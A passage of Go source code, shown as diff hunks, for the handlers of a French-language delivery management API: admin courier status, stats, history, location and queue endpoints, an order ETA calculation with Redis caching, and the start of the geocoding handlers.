func UpdateDeliveryPersonStatusAdmin(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Admin seulement
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
log.Printf("❌ [UPDATE_DELIVERY_STATUS] Accès refusé - role=%s", userRole)
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username := c.Param("username")
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Status string `json:"status" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Statut requis",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Valider le statut
|
||||
validStatuses := []string{"available", "busy", "offline"}
|
||||
isValid := false
|
||||
for _, vs := range validStatuses {
|
||||
if req.Status == vs {
|
||||
isValid = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !isValid {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Statut invalide",
|
||||
"valid_statuses": validStatuses,
|
||||
"received": req.Status,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📝 [UPDATE_DELIVERY_STATUS] Modification: %s → %s", username, req.Status)
|
||||
|
||||
// ============================================
|
||||
// Vérifier que le livreur existe
|
||||
// ============================================
|
||||
livreur, err := database.GetUserByUsername(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_DELIVERY_STATUS] Livreur non trouvé")
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
if livreur.Role != "livreur" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Cet utilisateur n'est pas un livreur",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// Mettre à jour le statut
|
||||
// ============================================
|
||||
err = database.UpdateDeliveryPersonStatus(username, req.Status)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_DELIVERY_STATUS] Erreur mise à jour: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur mise à jour statut",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
adminUsername, _ := c.Get("username")
|
||||
log.Printf("✅ [UPDATE_DELIVERY_STATUS] Statut modifié par admin %s: %s → %s",
|
||||
adminUsername, username, req.Status)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Statut du livreur mis à jour",
|
||||
"username": username,
|
||||
"new_status": req.Status,
|
||||
"updated_by": adminUsername,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📊 GET DELIVERY PERSON STATS
|
||||
// ============================================
|
||||
|
||||
// GetDeliveryPersonStats récupère les statistiques d'un livreur
|
||||
// GET /api/v2/admin/protected/delivery-persons/:username/stats
|
||||
func GetDeliveryPersonStats(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Admin seulement
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
log.Printf("❌ [GET_DELIVERY_STATS] Accès refusé - role=%s", userRole)
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username := c.Param("username")
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📊 [GET_DELIVERY_STATS] Calcul stats pour: %s", username)
|
||||
|
||||
// ============================================
|
||||
// Vérifier que le livreur existe
|
||||
// ============================================
|
||||
livreur, err := database.GetUserByUsername(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_DELIVERY_STATS] Livreur non trouvé")
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
if livreur.Role != "livreur" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Cet utilisateur n'est pas un livreur",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// Récupérer les statistiques
|
||||
// ============================================
|
||||
totalDeliveries, _ := database.CountDeliveriesByStatus(username, "")
|
||||
completedDeliveries, _ := database.CountDeliveriesByStatus(username, "approved")
|
||||
cancelledDeliveries, _ := database.CountDeliveriesByStatus(username, "cancelled")
|
||||
pendingDeliveries, _ := database.CountDeliveriesByStatus(username, "pending,assigned")
|
||||
inProgressDeliveries, _ := database.CountDeliveriesByStatus(username, "en_route,livre")
|
||||
|
||||
// Récupérer statut et queue
|
||||
status, _ := database.GetDeliveryPersonStatus(username)
|
||||
queueSize, _ := database.GetDeliverymanQueueSize(username)
|
||||
|
||||
// Calculer le taux de succès
|
||||
successRate := 0.0
|
||||
if totalDeliveries > 0 {
|
||||
successRate = (float64(completedDeliveries) / float64(totalDeliveries)) * 100
|
||||
}
|
||||
|
||||
// Récupérer la dernière livraison
|
||||
lastDeliveryDate := ""
|
||||
lastDelivery, err := database.GetLastDeliveryDate(username)
|
||||
if err == nil && lastDelivery != nil {
|
||||
lastDeliveryDate = lastDelivery.Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_DELIVERY_STATS] Stats calculées: total=%d, completed=%d",
|
||||
totalDeliveries, completedDeliveries)
|
||||
|
||||
// ============================================
|
||||
// RÉPONSE
|
||||
// ============================================
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"stats": gin.H{
|
||||
"username": username,
|
||||
"total_deliveries": totalDeliveries,
|
||||
"completed_deliveries": completedDeliveries,
|
||||
"cancelled_deliveries": cancelledDeliveries,
|
||||
"pending_deliveries": pendingDeliveries,
|
||||
"in_progress_deliveries": inProgressDeliveries,
|
||||
"success_rate": successRate,
|
||||
"current_queue_size": queueSize,
|
||||
"last_delivery_date": lastDeliveryDate,
|
||||
"status": status,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📜 GET DELIVERY PERSON HISTORY
|
||||
// ============================================
|
||||
|
||||
// GetDeliveryPersonHistory récupère l'historique des livraisons d'un livreur
|
||||
// GET /api/v2/admin/protected/delivery-persons/:username/history?limit=20&offset=0
|
||||
func GetDeliveryPersonHistory(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Admin seulement
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
log.Printf("❌ [GET_DELIVERY_HISTORY] Accès refusé - role=%s", userRole)
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username := c.Param("username")
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
// Paramètres de pagination
|
||||
limit := 20
|
||||
offset := 0
|
||||
|
||||
if limitStr := c.Query("limit"); limitStr != "" {
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 && l <= 100 {
|
||||
limit = l
|
||||
}
|
||||
}
|
||||
|
||||
if offsetStr := c.Query("offset"); offsetStr != "" {
|
||||
if o, err := strconv.Atoi(offsetStr); err == nil && o >= 0 {
|
||||
offset = o
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("📜 [GET_DELIVERY_HISTORY] Récupération historique: %s (limit=%d, offset=%d)",
|
||||
username, limit, offset)
|
||||
|
||||
// ============================================
|
||||
// Vérifier que le livreur existe
|
||||
// ============================================
|
||||
livreur, err := database.GetUserByUsername(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_DELIVERY_HISTORY] Livreur non trouvé")
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
if livreur.Role != "livreur" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Cet utilisateur n'est pas un livreur",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// Récupérer l'historique
|
||||
// ============================================
|
||||
history, err := database.GetDeliveryPersonHistory(username, limit, offset)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_DELIVERY_HISTORY] Erreur récupération: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération historique",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Compter le total
|
||||
total, _ := database.CountDeliveriesByStatus(username, "")
|
||||
|
||||
log.Printf("✅ [GET_DELIVERY_HISTORY] Historique récupéré: %d livraisons (total=%d)",
|
||||
len(history), total)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"history": history,
|
||||
"count": len(history),
|
||||
"total": total,
|
||||
"limit": limit,
|
||||
"offset": offset,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📍 UPDATE DELIVERY PERSON LOCATION
|
||||
// ============================================
|
||||
|
||||
// UpdateDeliveryPersonLocationAdmin modifie la position GPS d'un livreur (Admin)
|
||||
// PUT /api/v2/admin/protected/delivery-persons/:username/location
|
||||
func UpdateDeliveryPersonLocationAdmin(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Admin seulement
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "cabine" {
|
||||
log.Printf("❌ [UPDATE_DELIVERY_LOCATION] Accès refusé - role=%s", userRole)
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username := c.Param("username")
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Latitude float64 `json:"latitude" binding:"required"`
|
||||
Longitude float64 `json:"longitude" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Coordonnées GPS requises",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Valider les coordonnées
|
||||
if req.Latitude < -90 || req.Latitude > 90 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Latitude invalide (doit être entre -90 et 90)",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if req.Longitude < -180 || req.Longitude > 180 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Longitude invalide (doit être entre -180 et 180)",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📍 [UPDATE_DELIVERY_LOCATION] Modification: %s → (%.6f, %.6f)",
|
||||
username, req.Latitude, req.Longitude)
|
||||
|
||||
// ============================================
|
||||
// Vérifier que le livreur existe
|
||||
// ============================================
|
||||
livreur, err := database.GetUserByUsername(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_DELIVERY_LOCATION] Livreur non trouvé")
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
if livreur.Role != "livreur" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Cet utilisateur n'est pas un livreur",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// Mettre à jour la position (utilise la fonction existante)
|
||||
// ============================================
|
||||
err = database.UpdateDeliveryPersonLocation(username, req.Latitude, req.Longitude)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_DELIVERY_LOCATION] Erreur mise à jour: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur mise à jour position",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
adminUsername, _ := c.Get("username")
|
||||
log.Printf("✅ [UPDATE_DELIVERY_LOCATION] Position modifiée par admin %s: %s → (%.6f, %.6f)",
|
||||
adminUsername, username, req.Latitude, req.Longitude)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Position GPS mise à jour",
|
||||
"location": gin.H{
|
||||
"username": username,
|
||||
"latitude": req.Latitude,
|
||||
"longitude": req.Longitude,
|
||||
"updated_at": time.Now().Unix(),
|
||||
},
|
||||
"updated_by": adminUsername,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🗑️ REMOVE COMMAND FROM QUEUE
|
||||
// ============================================
|
||||
|
||||
// RemoveCommandFromQueue retire une commande de la queue d'un livreur
|
||||
// DELETE /api/v2/admin/protected/delivery-persons/:username/queue/:command_id
|
||||
func RemoveCommandFromQueue(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Admin seulement
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
log.Printf("❌ [REMOVE_FROM_QUEUE] Accès refusé - role=%s", userRole)
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username := c.Param("username")
|
||||
commandIDStr := c.Param("command_id")
|
||||
|
||||
if username == "" || commandIDStr == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Username et command_id requis",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
commandID, err := strconv.Atoi(commandIDStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "ID de commande invalide",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("🗑️ [REMOVE_FROM_QUEUE] Suppression: cmd %d de la queue de %s", commandID, username)
|
||||
|
||||
// ============================================
|
||||
// Vérifier que le livreur existe
|
||||
// ============================================
|
||||
livreur, err := database.GetUserByUsername(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [REMOVE_FROM_QUEUE] Livreur non trouvé")
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
if livreur.Role != "livreur" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Cet utilisateur n'est pas un livreur",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// Vérifier que la commande existe
|
||||
// ============================================
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [REMOVE_FROM_QUEUE] Commande non trouvée")
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// Retirer de la queue
|
||||
// ============================================
|
||||
err = database.RemoveCommandFromDeliverymanQueue(username, commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [REMOVE_FROM_QUEUE] Erreur suppression: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur suppression de la queue",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Optionnel: Réassigner la commande en "pending"
|
||||
currentStatus, _ := command["status"].(string)
|
||||
if currentStatus == "assigned" || currentStatus == "en_route" {
|
||||
err = database.UpdateCommandStatus(commandID, "pending")
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [REMOVE_FROM_QUEUE] Impossible de réinitialiser le statut: %v", err)
|
||||
} else {
|
||||
// Retirer l'assignation du livreur
|
||||
database.UpdateCommandLivreur(commandID, "")
|
||||
log.Printf("✅ [REMOVE_FROM_QUEUE] Commande réinitialisée en 'pending'")
|
||||
}
|
||||
}
|
||||
|
||||
adminUsername, _ := c.Get("username")
|
||||
database.AddCommandLog(commandID, "queue_removed",
|
||||
fmt.Sprintf("Commande retirée de la queue du livreur %s par admin %s", username, adminUsername),
|
||||
adminUsername.(string))
|
||||
|
||||
log.Printf("✅ [REMOVE_FROM_QUEUE] Commande %d retirée de la queue de %s", commandID, username)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Commande retirée de la queue du livreur",
|
||||
"command_id": commandID,
|
||||
"username": username,
|
||||
"removed_by": adminUsername,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
// ============================================
|
||||
// handlers/eta_handler_corrected.go
|
||||
// CORRECTION: ETA visible UNIQUEMENT après en_route
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"gestion/services"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// GET /api/v1/orders/:id/eta
|
||||
// ✅ CORRECTION: ETA visible UNIQUEMENT si status >= en_route
|
||||
// ============================================
|
||||
|
||||
func GetOrderETA(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
|
||||
// 1️⃣ AUTHENTIFICATION
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
log.Printf("❌ [ETA] Non authentifié")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"success": false,
|
||||
"error": "Utilisateur non authentifié",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// 2️⃣ RÉCUPÉRER L'ID DE LA COMMANDE
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
log.Printf("❌ [ETA] ID invalide: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"success": false,
|
||||
"error": "ID de commande invalide",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📊 [ETA] START - commandID=%d, username=%s", commandID, username.(string))
|
||||
|
||||
// 3️⃣ RÉCUPÉRER LA COMMANDE
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [ETA] Commande %d non trouvée", commandID)
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"success": false,
|
||||
"error": "Commande non trouvée",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// 4️⃣ VÉRIFIER LES DROITS D'ACCÈS
|
||||
cmdUsername, _ := command["username"].(string)
|
||||
userRole := c.GetString("role")
|
||||
|
||||
if userRole != "admin" {
|
||||
if userRole == "client" && cmdUsername != username.(string) {
|
||||
log.Printf("❌ [ETA] Accès refusé - commande appartient à %s", cmdUsername)
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"success": false,
|
||||
"error": "Vous n'avez pas accès à cette commande",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if userRole == "livreur" {
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
if livreurAssign != username.(string) {
|
||||
log.Printf("❌ [ETA] Accès refusé - livreur non assigné")
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"success": false,
|
||||
"error": "Vous n'avez pas accès à cette commande",
|
||||
})
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 5️⃣ VÉRIFIER LE STATUT DE LA COMMANDE
|
||||
cmdStatus, _ := command["status"].(string)
|
||||
|
||||
// ✅ CORRECTION: Vérifier si commande terminée
|
||||
if cmdStatus == "livre" || cmdStatus == "delivered" || cmdStatus == "approved" {
|
||||
log.Printf("ℹ️ [ETA] Commande déjà %s - pas d'ETA applicable", cmdStatus)
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"status": cmdStatus,
|
||||
"message": "La commande a déjà été livrée",
|
||||
"eta_available": false,
|
||||
"estimated_arrival": "Livraison complétée",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ CORRECTION CRITIQUE: Vérifier si le livreur a démarré
|
||||
if cmdStatus != "en_route" && cmdStatus != "arrived" {
|
||||
log.Printf("⏳ [ETA] Commande en statut '%s' - ETA pas encore disponible", cmdStatus)
|
||||
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
var livreurInfo string
|
||||
if livreurAssign != "" {
|
||||
livreurInfo = fmt.Sprintf("Livreur %s assigné", livreurAssign)
|
||||
} else {
|
||||
livreurInfo = "En attente d'assignation"
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"status": cmdStatus,
|
||||
"message": "Le livreur n'a pas encore démarré la livraison",
|
||||
"eta_available": false,
|
||||
"info": livreurInfo,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// 6️⃣ VÉRIFIER LE CACHE REDIS POUR ETA
|
||||
etaKey := fmt.Sprintf("command:eta:%d", commandID)
|
||||
etaData, err := db.Redis.HGetAll(db.RedisCtx, etaKey).Result()
|
||||
|
||||
if err == nil && len(etaData) > 0 {
|
||||
// ETA existe, vérifier s'il est récent
|
||||
if updatedAtStr, ok := etaData["updated_at"]; ok {
|
||||
var updatedAt int64
|
||||
fmt.Sscanf(updatedAtStr, "%d", &updatedAt)
|
||||
|
||||
timeSinceUpdate := time.Since(time.Unix(updatedAt, 0))
|
||||
if timeSinceUpdate < 2*time.Minute {
|
||||
// Cache valide
|
||||
var etaMinutes int64
|
||||
if etaStr, ok := etaData["eta_minutes"]; ok {
|
||||
fmt.Sscanf(etaStr, "%d", &etaMinutes)
|
||||
}
|
||||
|
||||
var arrivalTime int64
|
||||
if arrivalStr, ok := etaData["arrival_time"]; ok {
|
||||
fmt.Sscanf(arrivalStr, "%d", &arrivalTime)
|
||||
}
|
||||
|
||||
log.Printf("✅ [ETA] Cache hit - ETA: %d min", etaMinutes)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"status": cmdStatus,
|
||||
"eta_minutes": etaMinutes,
|
||||
"estimated_arrival": time.Unix(arrivalTime, 0).Format("15:04"),
|
||||
"eta_available": true,
|
||||
"with_traffic": true,
|
||||
"livreur_assign": command["livreur_assign"],
|
||||
"delivery_address": command["adresse"],
|
||||
})
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 7️⃣ Pas de cache valide - Recalculer l'ETA
|
||||
log.Printf("🔄 [ETA] Cache miss ou expiré - Recalcul de l'ETA...")
|
||||
|
||||
// Récupérer coordonnées destination
|
||||
var destLat, destLon float64
|
||||
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
destData, err := db.Redis.Get(db.RedisCtx, destCacheKey).Result()
|
||||
if err == nil && destData != "" {
|
||||
var coords struct {
|
||||
Lat float64 `json:"lat"`
|
||||
Lon float64 `json:"lon"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(destData), &coords); err == nil && coords.Lat != 0 && coords.Lon != 0 {
|
||||
destLat = coords.Lat
|
||||
destLon = coords.Lon
|
||||
log.Printf("📍 Destination depuis cache Redis: (%.6f, %.6f)", destLat, destLon)
|
||||
}
|
||||
}
|
||||
|
||||
if destLat == 0 || destLon == 0 {
|
||||
if dLat, okLat := command["dest_latitude"].(float64); okLat && dLat != 0 {
|
||||
destLat = dLat
|
||||
}
|
||||
if dLon, okLon := command["dest_longitude"].(float64); okLon && dLon != 0 {
|
||||
destLon = dLon
|
||||
}
|
||||
}
|
||||
|
||||
if destLat == 0 || destLon == 0 {
|
||||
log.Printf("❌ [ETA] Coordonnées destination manquantes")
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"success": false,
|
||||
"error": "Coordonnées de destination manquantes",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer position du livreur
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
if livreurAssign == "" {
|
||||
log.Printf("⚠️ [ETA] Aucun livreur assigné")
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"success": false,
|
||||
"error": "Aucun livreur assigné à cette commande",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
livreurLocation, err := geoService.GetDeliveryPersonLocation(livreurAssign)
|
||||
if err != nil {
|
||||
log.Printf("❌ [ETA] Position livreur introuvable: %s", livreurAssign)
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"success": false,
|
||||
"error": "Position du livreur non disponible",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
toCoords := services.Coordinates{Latitude: destLat, Longitude: destLon}
|
||||
|
||||
// Calculer ETA avec TomTom
|
||||
log.Printf("🛣️ [ETA] Calcul TomTom: (%.6f, %.6f) -> (%.6f, %.6f)",
|
||||
livreurLocation.Latitude, livreurLocation.Longitude, toCoords.Latitude, toCoords.Longitude)
|
||||
|
||||
etaMinutes, distanceKm, err := services.GetETAWithTraffic(*livreurLocation, toCoords)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [ETA] TomTom failed, fallback local: %v", err)
|
||||
distanceKm = services.CalculateDistance(*livreurLocation, toCoords)
|
||||
etaMinutes = services.CalculateETA(distanceKm)
|
||||
}
|
||||
|
||||
// Sauvegarder en cache
|
||||
now := time.Now()
|
||||
arrivalTime := now.Add(time.Duration(etaMinutes) * time.Minute)
|
||||
|
||||
etaCache := map[string]interface{}{
|
||||
"command_id": commandID,
|
||||
"eta_minutes": etaMinutes,
|
||||
"updated_at": now.Unix(),
|
||||
"arrival_time": arrivalTime.Unix(),
|
||||
"distance_km": distanceKm,
|
||||
"with_traffic": err == nil,
|
||||
}
|
||||
|
||||
db.Redis.HSet(db.RedisCtx, etaKey, etaCache)
|
||||
db.Redis.Expire(db.RedisCtx, etaKey, 4*time.Hour)
|
||||
|
||||
log.Printf("✅ [ETA] SUCCESS - ETA: %d min, arrivée: %s", etaMinutes, arrivalTime.Format("15:04"))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"status": cmdStatus,
|
||||
"eta_minutes": etaMinutes,
|
||||
"distance_km": fmt.Sprintf("%.2f", distanceKm),
|
||||
"estimated_arrival": arrivalTime.Format("15:04"),
|
||||
"eta_available": true,
|
||||
"with_traffic": err == nil,
|
||||
"livreur_assign": livreurAssign,
|
||||
"delivery_address": command["adresse"],
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,900 @@
|
||||
// ============================================
|
||||
// handlers/geo_handlers.go - VERSION CORRIGÉE COMPLÈTE
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"gestion/services"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// GÉOCODAGE D'ADRESSES
|
||||
// ============================================
|
||||
|
||||
// GeocodeAddress convertit une adresse en coordonnées GPS
|
||||
// POST /api/v1/geocode
|
||||
// Body: {"address": "1600 Amphitheatre Parkway, Mountain View, CA"}
|
||||
func GeocodeAddress(c *gin.Context) {
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
|
||||
var req struct {
|
||||
Address string `json:"address" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Adresse requise",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
location, err := geoService.GeocodeAddress(req.Address)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Impossible de géocoder cette adresse",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📍 Adresse géocodée: %s -> (%.6f, %.6f)",
|
||||
req.Address, location.Latitude, location.Longitude)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"latitude": location.Latitude,
|
||||
"longitude": location.Longitude,
|
||||
"display_name": location.DisplayName,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// RECHERCHE DU LIVREUR LE PLUS PROCHE
|
||||
// ============================================
|
||||
|
||||
// FindNearestDeliveryPerson trouve le livreur le plus proche d'une adresse
|
||||
func FindNearestDeliveryPerson(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Address string `json:"address"`
|
||||
Latitude float64 `json:"latitude"`
|
||||
Longitude float64 `json:"longitude"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Données invalides",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
var targetCoords services.Coordinates
|
||||
|
||||
